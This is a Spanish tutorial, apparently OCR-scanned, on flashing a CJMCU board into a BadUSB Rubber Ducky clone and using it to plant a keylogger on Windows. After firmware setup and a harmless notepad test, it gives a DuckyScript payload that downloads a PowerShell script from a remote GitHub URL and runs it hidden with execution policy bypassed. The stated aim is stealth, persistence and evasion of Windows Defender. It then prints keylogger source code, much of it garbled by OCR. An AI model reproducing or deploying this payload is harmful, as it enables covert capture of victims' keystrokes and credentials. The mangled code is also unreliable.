Cjmcu - Rubber Ducky desde cero y keylogger

INDICE:

-Cjmcu

-Instalacion del firmware:

-MANERA 1 (No probada): Github - Duckduino-microSD.ino
-MANERA 2: (Probada): Github - bad_ducky

-Ejecucion de Keylogger en Windows.

-Ejecucion en Powershell en modo sigiloso y persistente:
-Script Keylogger

[+] Cjmcu - Rubber Ducky desde 0 y keylogger

-Convertiremos un Cjmcu en un bad usb Rubber Ducky desde 0.

-Esta herramienta puede emplearse con diferentes motivos, desde gastar una broma, a capturar pulsaciones de teclado,
obtener informacion ocnfidencial de un PC, mandar una shell remota... etc.

-Nos centraremos aqui en la creacion de un payload para ejecutar un keylogger persistente y oculto, capaz de evadir el
Windows Defender y el antivirus.

-Primero hablaremos del dispositivo y como instalar el firmware necesario para poder usarlo como un emulador de
teclado.
-Luego usando una micro SD afiadiremos los archivos necesarios para ejecutar el Payload.

[+] Cjmcu

Dispositivo basado en ATmega 32u4 que permite explorar vulnerabilidades a través de los puertos USB de nuestros
ordenadores. Precio aproximado entre 7 y 10 euros, cuando un Rubber Ducky original puede rondar entro 50 y 60 euros.




En particular, en este articulo propondremos un emulador de teclado que, a partir de un script, generara las secuencias

de pulsaciones de tecla indicadas en éste.
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USB Rubber Ducky

Este tipo de dispositivos se inspiran directamente en el USB Rubber Ducky de Hak5, siendo compatibles con el lenguaje
de scripts disponible para este ultimo, Rubber Ducky Scripting Language o DuckyScript en su version 1.0.

Debemos Instalar el firmware.
-MANERA 1 (ALTERNATIVA NO PROBADA):

Para poner nuestro badUSB en modo «Rubber Ducky» precisaremos del cédigo desarrollado por Seytonic en GitHub.

$ wget https://raw.githubusercontent.com/Seytonic/Duckduino-microSD/master/Duckduino-

microSD/Duckduino-microSD.ino

-MANERA 2 (PROBADA):

—-PRIMERO CONECTAMOS EL DISPOSITIVO A UN PUERTO USB.

Desde la web:


https://github.com/mharjac/bad_ducky

@ GitHub. Inc. [US] https://github.com/mhar

Rubber Ducky compatible clone based on CJMCU BadUSB HW.

D 8 commits ¥ 1 branch © 0 releases A% 1 contributor g MIT
Branch: master ~ d t Find file Clone or download
l tinoloni and mharjac Added german keymap file . Clone with HTTPS &
Use Git or checkout with SVN using the web URL
m demo_scripts Added project files.... . 9 ’
https://github.com/mharjac/bad_ducky.git =8
m keydumper Added keydumper helper sketch
mm lang Added german keymap file
Open in Desktop Download ZIP

) LICENSE Initial commit am 5 _|

] README.md Added Croatian keymap file 7 months agc

] bad_ducky.ino Added support for different keymaps 8 months ago

-Descargamos el zip y lo descomprimimos.
-Encontraremos varios archivos.

|+ v | bad_ducky-master

Inicio Compartir Vista

- v N » bad_ducky-master

-~ Nombre

## Acceso rapido

demo_scnipts
B Escritorio o =

keydumper

<4 Descargas o ong

| Documentos ] LICENSE

= Imagenes o’ | README.md
Archivos nec: # @ bad_ducky
bad_ducky-masi
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-Accedemos al programa y se abre la interfaz:

-Una vez hay debemos seleccionar Arduino leonardo asi:



&2 bad_ducky Ardumno 1.8.5

Archivo Editar Programa Herramientas Ayuda

l Auto Formato Ctrl+T
Archivo de programa.

Reparar codificacién & Recargar

Monitor Serie Ctrl= Mayus+M

Senal Plotter Ctri=Mayus+L
WiFi101 Firmware Updater

Placa: "Arduino Leonardo™
Puerto: "COMS (Arduino Leonardo) Gestor de tarjetas...

Obtén informacion de la placa

Arduino Yun

P dor: "AVRISP mkll
rogramador: aF m Arduino/Genuino Uno

Quemar Bootiondar Arduino Duemilanove or Diecimila
Arduino Nano
Arduino/Genuino Mega or Mega 2560
Arduino Mega ADK
®  Arduino L{:?nardo
Arduino Leonardo ETH

Arduino/Genuinc Micro

Y lo cargamos en la placa:

archvo Editar Programa Herr

NOTA: Posibles ERRORES:

En mi caso me sucedié que al conectar el dispositivo no lo detectaba LA PLACA el PC por primera vez, parecia como si
no le llegara corriente, lo que hize fué tocar un poco los pines metalicos de los laterales, con el cargador del PC (Con el
conector que da la corriente), aplicando una minima corriente para que se arrancara y lo detectara.

Una vez realizado ese paso:
Ahora preparamos el script que afiadiremos a la tarjeta SD:
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Usaremos el lenguaje DuckyScript:



DuckyScript

PARAMETROS

COMANDO DESCRIPCION

REM <comentarios Usado para escribir un comentario

DELAY <tiempoz: Crea una pausa en el script.

STRING Escribe una cadena de texto

Parametros opcionales:

ecla de windows.

caracteres simples.

Emula la tecla APP

Parametros opcionales:

Emula La tecla shift

DOWMNARROW. LEFTARROW

DELETE. HOME. INSERT. PAGEUPR. PAGEDOWN_ WINDOWS. GUI. URARROW
RIGHTARROW, TAB

Parametros opcionales: o
Emula La tecla alt.
END. ESC. ESCAPE. F1_Fi12 caracter simple. SPACE. TAB

Parametros opcionales:
Emumila la tecla control
BREAK, PAUSE, F1_Fi2 ESCAPE, ESC. caracter simple

DOWMARROW Emula la tecla de flecha abajo
LEFTARRONW Emula la tecla de flecha izquierda

RIGHTARROW Emula la tecla de flecha derecha

Emula la tecla ae flecha arriba.

UPARROW

CAPSLOCK Emula blegques de mayusculas.

DELETE Emula la tecla Delste

ESC Emula la tecla Escape
Emula la tecla Insert.

Alterna el blegueo del teclado

NUMLOCK
namerico.

PAGEUP Emula la tecla Repag

PAGEDOWN Emula La tecla A

-Abrimos el bloc de notas y escribiremos un script sencillo de prueba.

GUI r

DELAY 1000

STRING notepad.exe

ENTER

DELAY 100

STRING MI PRIMER SCRIPT EN RUBBER DUCKY!

-Guardamos el script y lo guardamos en la tarjeta SD con el nombre: hola.txt

-Volvemos a la interfaz de arduino y abrimos “Monitor Serie:



{ DEO_ducEy SAroumes §.C.0

Auto Formato Cerl=T

&rchrvo de programa.

It Crl= Manyus =M
: I_ . hh Seral Plotter Cri=Mlanyus~ L
WiFi101 Ferrmnevare Updater
fdefins KEY HENUD
#define KEY_BRER Placa: “Arduino Lecnardo” »
#define KEY NUML

Para configurar el Rubber Ducky debemos usar una serie de comandos:

Hay tres modos de trabajo:

"m" gestion: no hace nada especial, solo permite conmutar el modo/payload (el LED esta encendido)
"c" modo de entrega continua: ejecuta el payload seleccionado cada vez que conecta el dispositivo

"a" modo de autodesarmado (entrega Unica): ejecuta el payload seleccionado solo una vez y luego el modo se
cambiara a gestion

-Primero ponemos: ¢ y damos ENTER



189 COMSE (Arduino Leonardo)

MODE.CFG 1
LANG.CFG 1
EXEC.CFG 1 h
HOLA.TXT 83

Available modes:

m => management mode

a => auto-disarm mode

cC => continuous delivery mode

Current mode:
Current language:
Current payload:

Input mode:

Indicamos para el ejemplo EN (inglés) el lenguage: en y damos ENTER



€2 COMS (Arduino Leonardo)

[bﬂ
EXEC.CFG 1
HOLA.TXT &3

s

Available modes:

m => management mode
a => auto-disarm mode
Cc => continuous delivery mode

Current mode:
Current language:
Current pavload:
Input mode:

Input language:

Y seleccionamos el payload con el nombre que le indicamos: hola.txt y damos ENTER



'9:; COME (Arduino Leonardo)

hola. txt|

Available modes:

= auto—-disarm mode

A

m => manageme mode

a

c => continuous delivery :r.-’Lr
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Input language:

Input payload:

] Autoscroll Sin ajuste de linea -
tring Iang = en -
payload:;

prevCmd:

prevArg: @
argChar;

prevArgChar;

LISTO

Ahora extraemos el rubber ducky del puerto USB , INTRODUCIMOS LA SD y lo volvemos a conectar.

De manera inmediata se ejecuta el payload.

T T

Archrve Edwcrtn Formato Ver Ayads
MI PRIMER SCRIPT EN RUBBER DUCKY!|

Ya funciona y podemos probar otros payloads...

[+] Ejecucion de Keylogger en Windows.

Una vez comprobamos que nuestro payload funciona, podemos modificar ese hola.txt por cualquier payload que
queramos probar, en éste caso vamos a ejecutar un keylogger que descargara desde github, de mi repositorio, y lo
ejeutara de una manera oculta y persistente con los siguientes comandos:

--> hola.txt



DELAY 20

GUI r

DELAY 20

STRING cmd

ENTER

ENTER

DELAY 20

STRING powershell

ENTER

DELAY 20

STRING Invoke-WebRequest -Uri "
[https://raw.githubusercontent.com/Clsp3r2222/duckylog/main/script.psl]
(https://raw.githubusercontent.com/Clsp3r2222/duckylog/main/script.psl)" —OutFile
"$env:USERPROFILE\Desktop\script.ps1"

ENTER

DELAY 300

STRING powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass —Command "Start-—Process
powershell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File

C:\Users$env:USERNAME\Desktop\script.psl' -WindowStyle Hidden —-ErrorAction SilentlyContinue"

ENTER

-También podemos descargarlo y ejecutarlo de esta manera:

[+] EJECUCION en Powershell en modo sigiloso y persistente:

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "Start-Process powershell -
ArgumentList -NoProfile -ExecutionPolicy Bypass -File C:\Users$env:USERNAME\Desktop\script.ps1' -WindowStyle

Hidden -ErrorAction SilentlyContinue"

[+] PERSISTENTE Y SIGILOSO:

Una vez se inicia el script podemos cerrar la CMD y eliminar el script.ps1, quedando solo en el Desktop el archibo
keylogger.txt que ird almecenando las pulsaciones del teclado.

[+] DETENCION DE SCRIPT:

-Ejecutar en Powershell:



Get-CimiInstance Win32Process | Where-Object { $.CommandLine -like 'script.ps1' } | Select-Object Processld,
CommandLine

-(Veremos un numero de proceso asociado Ej: 1234 )

-Para detenerlo, ejecutar en powershell:

Stop-Process -Id 1234 -Force

(Detenemos el proceso)

[+] Script Keylogger:

(El documento resultante se almacena en el Desktop del usuario, pero podriamos poner otra ruta mas oculta...)

function Write-Color {

(

[string]$Text,

[ConsoleColor]$Color =
)
$oldColor = $Host.UT.
$Host . UI. = $Color
Write-Host $Text
$Host . UI. = $oldColor

# Minimizar la ventana para ejecucidn sigilosa
Add-Type —AssemblyName PresentationFramework

$shell = New-— —-ComObject Shell.

$hwnd = (Get-Process -Id $PID).

$shell. O

Write-Color Cyan

Start-Sleep —Seconds

Write—-Color Yellow
Write—-Color

Green
Write—Color Green
Write—-Color

DarkGray

Write—-Color Green
Write—-Color DarkGray
Write—-Color Cyan

# RUTA DONDE SE ALMACENA EL TXT:
# (Se puede cambiar la ruta)
$path =

if ((Test-Path $path) -eq $ ) {New-Item $path?

$signatures = @'

[ ( , CharSet=CharSet. , ExactSpelling= )]
public static extern short (int virtualKeyCode);

[ ( , CharSet=CharSet. )]

public static extern int (byte[] keystate);

[ ( , CharSet=CharSet. )]

public static extern int Cuint uCode, int uMapType);

[ ( , CharSet=CharSet. )]



public static extern int Cuint wVirtKey, uint wScanCode, byte[] lpkeystate,

System. . pwszBuff, int cchBuff, uint wFlags);

'@

$API = Add-Type -MemberDefinition $signatures -Name -Namespace API —-PassThru
try {

while ((Test-Path $path) -ne $false) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API:: ($ascii)
if ($state -eq -32767) {
$null = [console]: :CapsLock

$virtualkey = $API:: ($ascii, 3)

$kbstate = New— -TypeName Byte[] —ArgumentList 256

$checkkbstate = $API:: ($kbstate)

$mychar = New- -TypeName System.

$success = $API:: ($ascii, $virtualKey, $kbstate, $mychar,
$mychar. , 0

if ($success - (Test-Path $path) -eq $true) {

[System.IO. 1:: ($Path, $mychar,

[System. . ]::Unicode)

3

}
finally { exit }

FIN

Realizado por Rubén GM - 2025



